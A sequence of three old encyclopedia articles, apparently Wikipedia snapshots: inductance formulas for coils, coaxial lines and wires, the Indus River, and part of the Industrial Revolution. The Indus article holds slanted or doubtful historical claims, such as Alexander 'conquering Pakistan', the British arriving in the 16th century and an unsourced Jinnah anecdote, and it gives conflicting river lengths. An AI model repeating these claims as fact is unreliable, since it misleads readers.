              Inductance of simple electrical circuits
            

            
              	Type

              	Inductance / 0

              	Comment
            


            
              	Single layer

              solenoid

              	
                [image:  \frac{r^{2}N^{2}}{3l}\left\{ -8w + 4\frac{\sqrt{1+m}}{m}\left( K\left( \frac{m}{1+m}\right) -\left( 1-m\right) E\left( \frac{m}{1+m}\right) \right) \right\} ]

                [image:  =\frac {r^2N^2\pi}{l}\left( 1 - \frac{8w}{3\pi} + \frac{w^2}{2} - \frac{w^4}{4} + \frac{5w^6}{16} - \frac{35w^8}{64} + ... \right) ]

              

              	N: Number of turns

              r: Radius

              l: Length

              w = r / l

              m = 4w2

              E,K: Elliptic integrals
            


            
              	Coaxial cable,

              high frequency

              	[image:  \frac {l}{2\pi} \ln{\frac {a_1}{a}} ]

              	a1: Outer radius

              a: Inner radius

              l: Length
            


            
              	Circular loop

              	[image: r \cdot \left( \ln{ \frac {8 r}{a}} - 2 + Y\right) ]

              	r: Loop radius

              a: Wire radius
            


            
              	Rectangle

              	[image: \frac {1}{\pi}\left(b\ln{\frac {2 b}{a}} + d\ln{\frac {2d}{a}} - \left(b+d\right)\left(2-Y\right) +2\sqrt{b^2+d^2} -b\cdot\operatorname{arsinh}{\frac {b}{d}}-d\cdot\operatorname{arsinh}{\frac {d}{b}} \right)]

              	b, d: Border length

              d >> a, b >> a

              a: Wire radius
            


            
              	Pair of parallel

              wires

              	[image:  \frac {l}{\pi} \left( \ln{\frac {d}{a}} + Y \right) ]

              	a: Wire radius

              d: Distance, d  2a

              l: Length of pair
            


            
              	Pair of parallel

              wires, high

              frequency

              	[image:  \frac {l}{2\pi}\operatorname{arcosh}\left( \frac {d^{2}}{2a^{2}}-1\right) ]

              	a: Wire radius

              d: Distance, d  2a

              l: Length of pair
            


            
              	Wire parallel to

              conducting wall

              	[image:  \frac {l}{2\pi} \left( \ln{\frac {2d}{a}} + Y \right)]

              	a: Wire radius

              d: Distance, d  a

              l: Length
            


            
              	Wire parallel to

              conducting wall,

              high frequency

              	[image:  \frac {l}{4\pi}\operatorname{arcosh}\left( \frac {2d^{2}}{a^{2}}-1\right)]

              	a: Wire radius

              d: Distance, d  a

              l: Length
            

          


          The constant 0 is the permeability of free space (4  10-7 H/m). For high frequencies the electrical current flows in the conductor surface ( skin effect), and depending on the geometry it sometimes is necessary to distinguish low and high frequency inductances. This is the purpose of the constant Y: Y=0 when the current is uniformly distributed over the surface of the wire (skin effect), Y=1/4 when the current is uniformly distributed over the cross section of the wire. In the high frequency case, if conductors approach each other, an additional screening current flows in their surface, and expressions containing Y become invalid.


          


          Inductance of a solenoid


          A solenoid is a long, thin coil, i.e. a coil whose length is much greater than the diameter. Under these conditions, and without any magnetic material used, the magnetic flux density B within the coil is practically constant and is given by


          
            	[image: \displaystyle B = \mu_0 Ni/l]

          


          where 0 is the permeability of free space, N the number of turns, i the current and l the length of the coil. Ignoring end effects the total magnetic flux through the coil is obtained by multiplying the flux density B by the cross-section area A and the number of turns N:


          
            	[image: \displaystyle \Phi = \mu_0N^2iA/l,]

          


          from which it follows that the inductance of a solenoid is given by:


          
            	[image: \displaystyle L = \mu_0N^2A/l.]

          


          This, and the inductance of more complicated shapes, can be derived from Maxwell's equations. For rigid air-core coils, inductance is a function of coil geometry and number of turns, and is independent of current.


          Similar analysis applies to a solenoid with a magnetic core, but only if the length of the coil is much greater than the product of the relative permeability of the magnetic core and the diameter. That limits the simple analysis to low-permeability cores, or extremely long thin solenoids. Although rarely useful, the equations are,


          
            	[image: \displaystyle B = \mu_0\mu_r Ni/l]

          


          where r the relative permeability of the material within the solenoid,


          
            	[image: \displaystyle \Phi = \mu_0\mu_rN^2iA/l,]

          


          from which it follows that the inductance of a solenoid is given by:


          
            	[image: \displaystyle L = \mu_0\mu_rN^2A/l.]

          


          Note that since the permeability of ferromagnetic materials changes with applied magnetic flux, the inductance of a coil with a ferromagnetic core will generally vary with current.


          


          Inductance of a coaxial line


          Let the inner conductor have radius ri and permeability i, let the dielectric between the inner and outer conductor have permeability d, and let the outer conductor have inner radius ro1, outer radius ro2, and permeability o. Assume that a DC current I flows in opposite directions in the two conductors, with uniform current density. The magnetic field generated by these currents points in the azimuthal direction and is a function of radius r; it can be computed using Ampre's Law:


          
            	[image: 0 \leq r \leq r_i: B(r) = \frac{\mu_i I r}{2 \pi r_i^2}]


            	[image: r_i \leq r \leq r_{o1}: B(r) = \frac{\mu_d I}{2 \pi r}]


            	[image: r_{o1} \leq r \leq r_{o2}: B(r) = \frac{\mu_o I}{2 \pi r} \left( \frac{r_{o2}^2 - r^2}{r_{o2}^2 - r_{o1}^2} \right)]

          


          The flux per length l in the region between the conductors can be computed by drawing a surface containing the axis:


          
            	[image: \frac{d\phi_d}{dl} = \int_{r_i}^{r_{o1}} B(r) dr = \frac{\mu_d I}{2 \pi} \ln\frac{r_{o1}}{r_i} ]

          


          Inside the conductors, L can be computed by equating the energy stored in an inductor, [image: \frac{1}{2}LI^2], with the energy stored in the magnetic field:


          
            	[image: \frac{1}{2}LI^2 = \int_V \frac{B^2}{2\mu} dV]

          


          For a cylindrical geometry with no l dependence, the energy per unit length is


          
            	[image: \frac{1}{2}L'I^2 = \int_{r_1}^{r_2} \frac{B^2}{2\mu} 2 \pi r~dr]

          


          where L' is the inductance per unit length. For the inner conductor, the integral on the right-hand-side is [image: \frac{\mu_i I^2}{16 \pi}]; for the outer conductor it is [image: \frac{\mu_o I^2}{4 \pi} \left( \frac{r_{o2}^2}{r_{o2}^2 - r_{o1}^2} \right)^2 \ln\frac{r_{o2}}{r_{o1}} - \frac{\mu_o I^2}{8 \pi} \left( \frac{r_{o2}^2}{r_{o2}^2 - r_{o1}^2} \right) - \frac{\mu_o I^2}{16 \pi}]


          Solving for L' and summing the terms for each region together gives a total inductance per unit length of:


          
            	[image: L' = \frac{\mu_i}{8 \pi} + \frac{\mu_d}{2 \pi} \ln\frac{r_{o1}}{r_i} + \frac{\mu_o}{2 \pi} \left( \frac{r_{o2}^2}{r_{o2}^2 - r_{o1}^2} \right)^2 \ln\frac{r_{o2}}{r_{o1}} - \frac{\mu_o}{4 \pi} \left( \frac{r_{o2}^2}{r_{o2}^2 - r_{o1}^2} \right) - \frac{\mu_o}{8 \pi}]

          


          However, for a typical coaxial line application we are interested in passing (non-DC) signals at frequencies for which the resistive skin effect cannot be neglected. In most cases, the inner and outer conductor terms are negligible, in which case one may approximate


          
            	[image: \frac{dL}{dl} \approx \frac{\mu_d}{2 \pi} \ln\frac{r_{o1}}{r_i}]

          


          


          Links


          
            	Clemson Vehicular Electronics Laboratory: Inductance Calculator

          


          
            Retrieved from " http://en.wikipedia.org/wiki/Inductance"
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              	Indus
            


            
              	Sindh, Sindhu, Hindu, Abasin, Sengge Chu, Ynd
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                  Satellite image of the Indus River basin.
                

              
            


            
              	Country

              	Pakistan
            


            
              	States

              	Punjab, Jammu and Kashmir, Sindh
            


            
              	Length

              	3,200 km (2,000 mi) approx.
            


            
              	Watershed

              	1,165,000 km(450,000 sqmi) approx.
            


            
              	Discharge at

              	Arabian Sea
            


            
              	-average

              	6,600 m/ s (230,000 cuft/ s) approx.
            


            
              	Source

              	Confluence of the Sengge and Gar rivers
            


            
              	-location

              	Tibetan Plateau, Tibet, China
            


            
              	Mouth

              	Sapta Sindhu
            


            
              	-location

              	Sindh, Pakistan
            


            
              	-elevation

              	0 m (0 ft)
            

          


          The Indus River {Hindi and Sanskrit: सिन्धु Sindhu; Urdu: سندھ Sindh; Sindhi: سندھو Sindhu; Punjabi (Shahmukhi: سندھ, Gurmukhi: ਸਿੰਧੂ) Sindhu; Persian: Hinduحندو; Pashto: Abasin ّآباسن"Father of Rivers"; Tibetan: Sengge Chu "Lion River"; Chinese: 印度 Ynd; Greek: ό Indos} is the longest river and the third largest river, in terms of annual flow, in Pakistan and the subcontinent. It is often considered the life-line of Pakistan. The Europeans used the name "India" for the entire subcontinent based on the appellation of this river. Originating in the Tibetan plateau in the vicinity of Lake Mansarovar, the river runs a course through Ladakh district of Jammu and Kashmir and Northern Areas, flowing through the North in a southerly direction along the entire length of the country, to merge into the Arabian Sea near Pakistan's port city Karachi. The total length of the river is 3,180 kilometres (1,976 miles). The river has a total drainage area exceeding 1,165,000 square kilometres (450,000 square miles). The river's estimated annual flow stands at around 207 cubic kilometres. Beginning at the heights of the world with glaciers, the river feeds the ecosystem of temperate forests, plains and arid countryside. Together with the rivers Chenab, Ravi, Sutlej, Jhelum, Beas and the extinct Sarasvati River, the Indus forms the Sapta Sindhu ("Seven Rivers") delta in the Sindh province of Pakistan. It has 20 major tributaries.


          The Indus provides the key water resources for the economy of Pakistan - especially the breadbasket of Punjab province, which accounts for most of the nation's agricultural production, and Sindh. The word "Punjab" is a combination of the Persian words 'panj' (پنج) Five, and 'āb' (آب) Water, giving the literal meaning of the Land of the Five Rivers. The five rivers after which Punjab is named are the Beas, Jhelum, Chenab, Ravi and Sutlej. The river also supports many heavy industries and provides the main supply of potable water in Pakistan.


          The ultimate source of the Indus is in Tibet; it begins at the confluence of the Sengge and Gar rivers that drain the Nganglong Kangri and Gangdise Shan mountain ranges. The Indus then flows northwest through Ladakh and Baltistan into Gilgit, just south of the Karakoram range. The Shyok, Shigar and Gilgit streams carry glacial waters into the main river. It gradually bends to the south, coming out of the hills between Peshawar and Rawalpindi. The Indus passes gigantic gorges 4,500-5,200 metres (15,000-17,000 feet) high near the Nanga Parbat massif. It flows swiftly across Hazara, and is dammed at the Tarbela Reservoir. The Kabul River joins it near Attock. The remainder of its route to the sea is in plains of the Punjab and Sindh, and the river becomes slow-flowing and highly braided. It is joined by Panjnad River at Mithankot. Beyond this confluence, the river, at one time, was named Satnad River (sat = seven, nadi = river), as the river was now carrying the waters of Kabul River, Indus River and the five Punjab rivers. Passing by Jamshoro, it ends in a large delta to the east of Thatta.


          The Indus is one of the few rivers in the world that exhibit a tidal bore. The Indus system is largely fed by the snows and glaciers of the Karakoram, Hindu Kush and Himalayan ranges of Tibet, Kashmir and Northern Areas of Pakistan. The flow of the river is also determined by the seasons - it diminishes greatly in the winter, while flooding its banks in the monsoon months from July to September. There is also evidence of a steady shift in the course of the river since prehistoric times - it deviated westwards from flowing into the Rann of Kutch.


          


          History


          
            [image: The position of the Sindhu River in Vedic period of South Asia.]

            
              The position of the Sindhu River in Vedic period of South Asia.
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              Indus Valley archaeological sites in Pakistan.
            

          


          Paleolithic sites have been discovered in Pothohar near Pakistan' s capital Islamabad, with the stone tools of the Soan Culture. In ancient Gandhara (Near the Pakistani capital of Islamabad), evidence of cave dwellers dated 15,000 years ago has been discovered at Mardan.


          The major cities of the Indus Valley Civilization, such as Harappa and Mohenjo-daro, date back to around 3300 BC, and represent some of the largest human habitations of the ancient world. The Indus Valley Civilization extended from Balochistan to Gujarat, with an upward reach from east of Jhelum River to Ropar on the upper Sutlej. The coastal settlements extended from Sutkagan Dor at the Iranian border to Lothal in Gujarat. There is an Indus site on the Oxus river at Shortughai in northern Afghanistan (Kenoyer 1998:96), and the Indus site Alamgirpur at the Hindon River is located only 28 km from Delhi (S.P. Gupta 1995:183). To date, over 1,052 cities and settlements have been found, mainly in the general region of the Ghaggar-Hakra River and its tributaries. Among the settlements were the major urban centers of Harappa and Mohenjo-daro, as well as Lothal, Dholavira, Ganeriwala, and Rakhigarhi. Only 90-96 of the over-800 known Indus Valley sites have been discovered on the Indus and its tributaries. The Sutlej, now a tributary of the Indus, in Harappan times flowed into the Ghaggar-Hakra River, in the watershed of which were more Harappan sites than along the Indus (S.P. Gupta 1995: 183).


          Most scholars believe that settlements of Gandhara grave culture of the early Indo-Aryans flourished in Gandhara from 1700 BC to 600 BC, when Mohenjo-daro and Harappa had already been abandoned.


          The name Indus is a Latinization of Hindu, in turn the Iranian variant of Sindhu, the name of the Indus in the Rigveda. Sanskrit Sindhu generically means "river, stream, ocean", probably from a root sidh "to keep off"; sindhu is attested 176 times in the Rigveda, 95 times in the plural, more often used in the generic meaning. Already in the Rigveda, notably in the later hymns, the meaning of the word is narrowed to refer to the Indus river in particular, for example in the list of rivers of the Nadistuti sukta. This resulted in the anomaly of a river with masculine gender: all other Rigvedic rivers are female, not just grammatically, being imagined as goddesses and compared to cows and mares yielding milk and butter.


          The Indus has formed a natural boundary between the Indian Subcontinent hinterland and its frontier with Afghanistan and Iran. It has been crossed by the armies of Alexander the Great - His Macedonian forces retreated along the southern course of the river at the end of the Asian campaign after conquering Pakistan and joining it to the Hellenic Empire. The Indus plains have also been under the domination of the Persian empire and the Kushan empire. The Muslim armies of Muhammad bin Qasim, Mahmud of Ghazni and Babur also crossed the river to strike into the inner regions of Gujarat, Punjab and Rajasthan. It is due to this diverse history that gave the modern day country of Pakistan its uniqueness and clearly distinguishes it from the rest of South Asia and Asia for that matter.


          The word "India" is a reference to the Indus River. In ancient times, India referred to the region of modern day Pakistan along the Indus river which traded extensively with the ancient world. It was only after the arrival of the British in the 16th century that name began to be applied to the entire region. Incidentally, Pakistan's founding father, Mohammed Ali Jinnah was quite surprised to learn that upon the departure of Britain from the region, that its new neighbour to the east was going to retain the name India as the country's official name..


          


          Geography
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              Confluence of Indus and Zanskar rivers, Ladakh, Jammu and Kashmir.
            

          


          


          Tributaries


          
            
              	
                
                  	Astor River


                  	Beas River


                  	Chenab River


                  	Gar River


                  	Ghizar River


                  	Gilgit River


                  	Gumal River

                

              

              	

              	
                
                  	Hunza River


                  	Jhelum River


                  	Kabul River


                  	Kunar River


                  	Ravi River


                  	Shigar River


                  	Shingo River

                

              

              	

              	
                
                  	Shyok River


                  	Suru River


                  	Sutlej River


                  	Swaan River


                  	Zhob River


                  	Balram River

                

              
            

          


          


          Geology


          The Indus River feeds the Indus submarine fan located in the Arabian Sea, which is the second largest sediment body on the Earth at around 5 million cubic kilometres of material eroded from the mountains. Studies of the sediment in the modern river indicate that the Karakoram Mountains in northern Pakistan are the single most important source of material, with the Himalayas providing the next largest contribution, mostly via the large rivers of the Punjab (i.e., the Jhelum, Ravi, Chenab, Beas and the Sutlej). Analysis of sediments from the Arabian Sea by marine geologists Peter Clift and Jerzy Blusztajn has demonstrated that prior to five million years ago the Indus was not connected to these Punjab rivers which instead flowed east into the Ganges and were captured after that time. Earlier work, also by Peter Clift, showed that sand and silt from western Tibet was reaching the Arabian Sea by 45 million years ago, implying the existence of an ancient Indus River by that time. The delta of this proto-Indus river has subsequently been found in the Katawaz Basin, on the Afghan-Pakistan border. Most recently the Indus was paralleled by the ancient Saraswati River, which the Rigveda suggests flowed from the Himalayas between the Sutlej and the Yamuna Rivers, close to modern day Chandigarh. Reportedly the Saraswati River was totally dried by 1900 BC as confirmed by archaeological hydrological radiocarbon dating.


          



          


          Wildlife


          Accounts of the Indus valley from the times of Alexander's campaign indicate a healthy forest cover in the region, which has now considerably receded. The Mughal Emperor Babar writes of encountering rhinoceroses along its bank in his memoirs (the Baburnama). Extensive deforestation and human interference in the ecology of the Shivalik Hills has led to a marked deterioration in vegetation and growing conditions. The Indus valley regions are arid with poor vegetation. Agriculture is sustained largely due to irrigation works.


          The Blind Indus River Dolphin (Platanista gangetica minor) is a sub-species of Dolphins found only in the Indus River. It formerly also occurred in the tributaries of the Indus river. Palla fish ( Hilsa ilisha) of the river is a delicacy for people living along the river. The population of fishes in the river is moderately high, with Sukkur, Thatta and Kotri being the major fishing centres - all in the lower Sindh course. But damming and irrigation has made fish farming an important economic activity. Located southeast of Karachi, the large delta has been recognised by conservationists as one of the world's most important ecological regions. Here the river turns into many marshes, streams and creeks and meets the sea at shallow levels. Here marine fishes are found in abundance, including Pomfret and Prawns.


          


          Economy


          The Indus is the most important supplier of water resources to the Punjab and Sindh plains - it forms the backbone of agriculture and food production in Pakistan. The river is especially critical as rainfall is meagre in the lower Indus valley. Irrigation canals were first built by the people of the Indus valley civilization, and later by the engineers of the Kushan Empire and the Mughal Empire. Modern irrigation was introduced by the British East India Company in 1850 - the construction of modern canals accompanied with the restoration of old canals. The British supervised the construction of one of the most complex irrigation networks in the world. The Guddu Barrage is 1,350 metres (4,450 ft) long - irrigating Sukkur, Jacobabad, Larkana and Kalat. The Sukkur Barrage serves over 20,000 square kilometres (5,000,000 acres).


          After the partition, a water control treaty signed between India and Pakistan in 1960 guaranteed that Pakistan would receive water from the Indus River independent of upstream control by India. The project, Indus Basin Project, consisted primarily of the construction of two main dams, the Mangla Dam built on the Jhelum River and the Tarbela Dam constructed on the Indus River, together with their subsidiary dams. The Pakistan Water and Power Development Authority undertook the construction of the Chashma-Jhelum link canal - linking the waters of the Indus and Jhelum rivers - extending water supplies to the regions of Bahawalpur and Multan. Pakistan constructed the Tarbela Dam near Rawalpindi - standing 2743 metres (9,000 ft) long and 143 metres (470 ft) high, with an 80 kilometre (50 mile) long reservoir. The Kotri Barrage near Hyderabad is 915 metres (3,000 ft) long and provides additional supplies for Karachi. The Taunsa Barrage near Dera Ghazi Khan produces 100,000 kilowatts of electricity. The extensive linking of tributaries with the Indus has helped spread water resources to the valley of Peshawar, the Northwest Frontier Province. The extensive irrigation and dam projects provide the basis for Pakistan's large production of crops such as cotton, sugarcane and wheat. The dams also generate electricity for heavy industries and urban centres.


          


          People


          
            [image: The Indus River near Skardu, Pakistan]

            
              The Indus River near Skardu, Pakistan
            

          


          The inhabitants of the regions through whom the Indus river passes and forms a major natural feature and resource are diverse in ethnicity, religion, national and linguistic backgrounds. On the northern course of the river in Jammu and Kashmir live the Buddhist people of Ladakh, of Tibetan stock, with Kashmiris who practice both Islam and Hinduism. As it descends into Northern Areas of Pakistan, the Indus river forms a distinctive boundary of ethnicity and cultures - upon the western banks the population is largely Pashtun, Baloch, and of other Iranian stock, with close cultural, economic and ethnic ties to Iran and Afghanistan. The eastern banks are largely populated by peoples of Indo-Aryan stock, such as the Punjabis, the Sindhis and the Seraikis. In northern Punjab and the North-West Frontier Province, ethnic Pashtun tribes live alongside Punjabi peoples. In the southern portion of the Punjab province, the Saraiki peoples speak a distinctive tongue and practise distinctive traditions. In the province of Sindh, peoples of Sindhi and Punjabi backgrounds form the local populations. Upon the western banks of the river live the Balochi and Pashtun peoples of Balochistan.


          


          Modern issues


          The Indus is a strategically vital resource for Pakistan's economy and society. After the partition of British India in 1947, the use of the waters of the Indus and its five eastern tributaries became a major dispute between India and Pakistan. The irrigation canals of the Sutlej valley and the Bari Doab were split - with the canals lying primarily in Pakistan and the headwork dams in India - disrupting supply in some parts of Pakistan. The concern over India building large dams over various Punjab rivers that could undercut the supply flowing to Pakistan, as well as the possibility that India could divert rivers in the time of war, caused political consternation in Pakistan. Holding diplomatic talks brokered by the World Bank, India and Pakistan signed the Indus Waters Treaty in 1960. The treaty gave India control of the three easternmost rivers of the Punjab, Sutlej, Beas and the Ravi, while Pakistan gained control of the three western rivers, Jhelum, Chenab and the Indus. India retained the right to use of the western rivers for non irrigation projects. (See discussion regarding a recent dispute about a hydroelectric project on the Chenab (not Indus) known as the Baghlighar project).


          Hindu pilgrimage to holy sites alongside the river has been a source of conflict between the two nations. Pakistan does generally allow Indian citizens to visit the country for religious purposes, However, owing to the volatile nature of bilateral relations, most pilgrimage and religious ceremonies are performed by Hindus in Indian administered Jammu and Kashmir.


          There are concerns that extensive deforestation, industrial pollution and global warming are affecting the vegetation and wildlife of the Indus delta, while affecting agricultural production as well. There are also concerns that the Indus river may be shifting its course westwards - although the progression spans centuries. On numerous occasions, sediment clogging owing to poor maintenance of canals has affected agricultural production and vegetation. In addition, extreme heat has caused water to evaporate, leaving salt deposits that render lands useless for cultivation.


          
            Retrieved from " http://en.wikipedia.org/wiki/Indus_River"
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              A Watt steam engine, the steam engine that propelled the Industrial Revolution in Britain and the world.
            

          


          The Industrial Revolution was a period in the late 18th and early 19th centuries when major changes in agriculture, manufacturing, and transportation had a profound effect on the socioeconomic and cultural conditions in Britain. The changes subsequently spread throughout Europe and North America and eventually the world, a process that continues as industrialisation. The onset of the Industrial Revolution marked a major turning point in human society; almost every aspect of daily life was eventually influenced in some way. In the later part of the 1700s the manual labour-based economy of some parts of Great Britain began to be replaced by one dominated by the manufacture by machinery. It started with the mechanisation of the textile industries, the development of iron-making techniques and the increased use of refined coal. Trade expansion was enabled by the introduction of canals, improved roads and railways. The introduction of steam power (fuelled primarily by coal) and powered machinery (mainly in textile manufacturing) underpinned the dramatic increases in production capacity. The development of all-metal machine tools in the first two decades of the 19th century facilitated the manufacture of more production machines for manufacturing in other industries. The effects spread throughout Western Europe and North America during the 19th century, eventually affecting most of the world. The impact of this change on society was enormous.


          The First Industrial Revolution, which began in the eighteenth century, merged into the Second Industrial Revolution around 1850, when technological and economic progress gained momentum with the development of steam-powered ships, railways, and later in the nineteenth century with the internal combustion engine and electrical power generation.


          The period of time covered by the Industrial Revolution varies with different historians. Eric Hobsbawm held that it 'broke out' in the 1780s and was not fully felt until the 1830s or 1840s, while T. S. Ashton held that it occurred roughly between 1760 and 1830. Some twentieth century historians such as John Clapham and Nicholas Crafts have argued that the process of economic and social change took place gradually and the term revolution is not a true description of what took place. This is still a subject of debate amongst historians.


          GDP per capita was broadly stable before the Industrial Revolution and the emergence of the modern capitalist economy. The Industrial Revolution began an era of per-capita economic growth in capitalist economies.


          


          Causes
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              Regional GDP/capita changed very little for most of human history before the Industrial Revolution. (The empty areas mean no data, not very low levels. There is data for the years 1, 1000, 1500, 1600, 1700, 1820, 1900, and 2003)
            

          


          The causes of the Industrial Revolution were complicated and remain a topic for debate, with some historians feeling the Revolution as an outgrowth of social and institutional changes brought by the end of feudalism in Britain after the English Civil War in the 17th century. As national border controls became more effective, the spread of disease was lessened, therefore preventing the epidemics common in previous times. The percentage of children who lived past infancy rose significantly, leading to a larger workforce. The Enclosure movement and the British Agricultural Revolution made food production more efficient and less labour-intensive, forcing the surplus population who could no longer find employment in agriculture into cottage industry, for example weaving, and in the longer term into the cities and the newly developed factories. The colonial expansion of the 17th century with the accompanying development of international trade, creation of financial markets and accumulation of capital are also cited as factors, as is the scientific revolution of the 17th century.


          Technological innovation was the heart of the Industrial Revolution and the key enabling technology was the invention and improvement of the steam engine.


          Historian Lewis Mumford has proposed that the Industrial Revolution had its origins in the early Middle Ages, much earlier than most estimates. He explains that the model for standardised mass production was the printing press and that "the archetypal model for the industrial era was the clock". He also cites the monastic emphasis on order and time-keeping, as well as the fact that mediaeval cities had at their centre a church with bell ringing at regular intervals as being necessary precursors to a greater synchronisation necessary for later, more physical, manifestations such as the steam engine.


          The presence of a large domestic market should also be considered an important driver of the Industrial Revolution, particularly explaining why it occurred in Britain. In other nations, such as France, markets were split up by local regions, which often imposed tolls and tariffs on goods traded amongst them.


          Governments' grant of limited monopolies to inventors under a developing patent system (the Statute of Monopolies 1623) is considered an influential factor. The effects of patents, both good and ill, on the development of industrialisation are clearly illustrated in the history of the steam engine, the key enabling technology. In return for publicly revealing the workings of an invention the patent system rewards inventors by allowing, e.g, James Watt to monopolise the production of the first steam engines, thereby enabling inventors and increasing the pace of technological development. However, monopolies bring with them their own inefficiencies which may counterbalance, or even overbalance, the beneficial effects of publicising ingenuity and rewarding inventors. Watt's monopoly may have prevented other inventors, such as Richard Trevithick, William Murdoch or Jonathan Hornblower, from introducing improved steam engines thereby retarding the industrial revolution by up to 20 years.


          


          Causes for occurrence in Europe
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              European 17th century colonial expansion, international trade, and creation of financial markets produced a new legal and financial environment, one which supported and enabled 18th century industrial growth.
            

          


          One question of active interest to historians is why the industrial revolution occurred in Europe and not in other parts of the world in the 18th century, particularly China, India, and the Middle East, or at other times like in Classical Antiquity or the Middle Ages. Numerous factors have been suggested, including ecology, government, and culture.


          Benjamin Elman argues that China was in a high level equilibrium trap in which the non-industrial methods were efficient enough to prevent use of industrial methods with high costs of capital. Kenneth Pomeranz, in the Great Divergence, argues that Europe and China were remarkably similar in 1700, and that the crucial differences which created the Industrial Revolution in Europe were sources of coal near manufacturing centres, and raw materials such as food and wood from the New World, which allowed Europe to expand economically in a way that China could not.


          However, most historians contest the assertion that Europe and China were roughly equal because modern estimates of per capita income on Western Europe in the late 18th century are of roughly 1,500 dollars in purchasing power parity (and Britain had a per capita income of nearly 2,000 dollars) whereas China, by comparison, had only 450 dollars. Also, the average interest rate was about 5% in Britain and over 30% in China, which illustrates how capital was much more abundant in Britain; capital that was available for investment.


          Some historians such as David Landes and Max Weber credit the different belief systems in China and Europe with dictating where the revolution occurred. The religion and beliefs of Europe were largely products of Judaeo-Christianity, and Greek thought. Conversely, Chinese society was founded on men like Confucius, Mencius, Han Feizi ( Legalism), Lao Tzu (Taoism), and Buddha (Buddhism). The key difference between these belief systems was that those from Europe focused on the individual, while Chinese beliefs centred around relationships between people. The family unit was more important than the individual for the large majority of Chinese history, and this may have played a role in why the Industrial Revolution took much longer to occur in China. There was the additional difference as to whether people looked backwards to a reputedly glorious past for answers to their questions or looked hopefully to the future. Furthermore, Western European peoples had experienced the Renaissance, Reformation and Enlightenment; other parts of the world had not had a similar intellectual breakout, a condition that holds true even into the 21st century.


          Regarding India, the Marxist historian Rajani Palme Dutt said: "The capital to finance the Industrial Revolution in India instead went into financing the Industrial Revolution in England." In contrast to China, India was split up into many competing kingdoms, with the three major ones being the Marathas, Sikhs and the Mughals. In addition, the economy was highly dependent on two sectorsagriculture of subsistence and cotton, and technical innovation was non-existent. The vast amounts of wealth were stored away in palace treasuries, and as such, were easily moved to Britain.


          


          Causes for occurrence in Britain
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          The debate about the start of the Industrial Revolution also concerns the massive lead that Great Britain had over other countries. Some have stressed the importance of natural or financial resources that Britain received from its many overseas colonies or that profits from the British slave trade between Africa and the Caribbean helped fuel industrial investment. It has been pointed out, however, that slavery provided only 5% of the British national income during the years of the Industrial Revolution.


          Alternatively, the greater liberalisation of trade from a large merchant base may have allowed Britain to produce and use emerging scientific and technological developments more effectively than countries with stronger monarchies, particularly China and Russia. Britain emerged from the Napoleonic Wars as the only European nation not ravaged by financial plunder and economic collapse, and possessing the only merchant fleet of any useful size (European merchant fleets having been destroyed during the war by the Royal Navy). Britain's extensive exporting cottage industries also ensured markets were already available for many early forms of manufactured goods. The conflict resulted in most British warfare being conducted overseas, reducing the devastating effects of territorial conquest that affected much of Europe. This was further aided by Britain's geographical position  an island separated from the rest of mainland Europe.


          Another theory is that Britain was able to succeed in the Industrial Revolution due to the availability of key resources it possessed. It had a dense population for its small geographical size. Enclosure of common land and the related Agricultural Revolution made a supply of this labour readily available. There was also a local coincidence of natural resources in the North of England, the English Midlands, South Wales and the Scottish Lowlands. Local supplies of coal, iron, lead, copper, tin, limestone and water power, resulted in excellent conditions for the development and expansion of industry. Also, the damp, mild weather conditions of the North West of England provided ideal conditions for the spinning of cotton, providing a natural starting point for the birth of the textiles industry.


          The stable political situation in Britain from around 1688, and British society's greater receptiveness to change (compared with other European countries) can also be said to be factors favouring the Industrial Revolution. In large part due to the Enclosure movement, the peasantry was destroyed as significant source of resistance to industrialisation, and the landed upper classes developed commercial interests that made them pioneers in removing obstacles to the growth of capitalism. (This point is also made in Hilaire Belloc's The Servile State.)


          


          Protestant work ethic


          Another theory is that the British advance was due to the presence of an entrepreneurial class which believed in progress, technology and hard work. The existence of this class is often linked to the Protestant work ethic (see Max Weber) and the particular status of the Baptists and the dissenting Protestant sects, such as the Quakers and Presbyterians that had flourished with the English Civil War. Reinforcement of confidence in the rule of law, which followed establishment of the prototype of constitutional monarchy in Britain in the Glorious Revolution of 1688, and the emergence of a stable financial market there based on the management of the national debt by the Bank of England, contributed to the capacity for, and interest in, private financial investment in industrial ventures.


          Dissenters found themselves barred or discouraged from almost all public offices, as well as education at England's only two universities at the time (although dissenters were still free to study at Scotland's four universities). When the restoration of the monarchy took place and membership in the official Anglican Church became mandatory due to the Test Act, they thereupon became active in banking, manufacturing and education. The Unitarians, in particular, were very involved in education, by running Dissenting Academies, where, in contrast to the universities of Oxford and Cambridge and schools such as Eton and Harrow, much attention was given to mathematics and the sciences areas of scholarship vital to the development of manufacturing technologies.


          Historians sometimes consider this social factor to be extremely important, along with the nature of the national economies involved. While members of these sects were excluded from certain circles of the government, they were considered fellow Protestants, to a limited extent, by many in the middle class, such as traditional financiers or other businessmen. Given this relative tolerance and the supply of capital, the natural outlet for the more enterprising members of these sects would be to seek new opportunities in the technologies created in the wake of the scientific revolution of the 17th century.


          


          Innovations
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          The commencement of the Industrial Revolution is closely linked to a small number of innovations, made in the second half of the 18th century:


          
            	Textiles - Cotton spinning using Richard Arkwright's water frame, James Hargreaves's Spinning Jenny, and Samuel Crompton's Spinning Mule (a combination of the Spinning Jenny and the Water Frame). This was patented in 1769 and so came out of patent in 1783. The end of the patent was rapidly followed by the erection of many cotton mills. Similar technology was subsequently applied to spinning worsted yarn for various textiles and flax for linen.


            	Steam power - The improved steam engine invented by James Watt was initially mainly used for pumping out mines, but from the 1780s was applied to power machines. This enabled rapid development of efficient semi-automated factories on a previously unimaginable scale in places where waterpower was not available.


            	Iron founding - In the Iron industry, coke was finally applied to all stages of iron smelting, replacing charcoal. This had been achieved much earlier for lead and copper as well as for producing pig iron in a blast furnace, but the second stage in the production of bar iron depended on the use of potting and stamping (for which a patent expired in 1786) or puddling (patented by Henry Cort in 1783 and 1784).

          


          These represent three 'leading sectors', in which there were key innovations, which allowed the economic take off by which the Industrial Revolution is usually defined. This is not to belittle many other inventions, particularly in the textile industry. Without some earlier ones, such as spinning jenny and flying shuttle in the textile industry and the smelting of pig iron with coke, these achievements might have been impossible. Later inventions such as the power loom and Richard Trevithick's high pressure steam engine were also important in the growing industrialisation of Britain. The application of steam engines to powering cotton mills and ironworks enabled these to be built in places that were most convenient because other resources were available, rather than where there was water to power a mill.


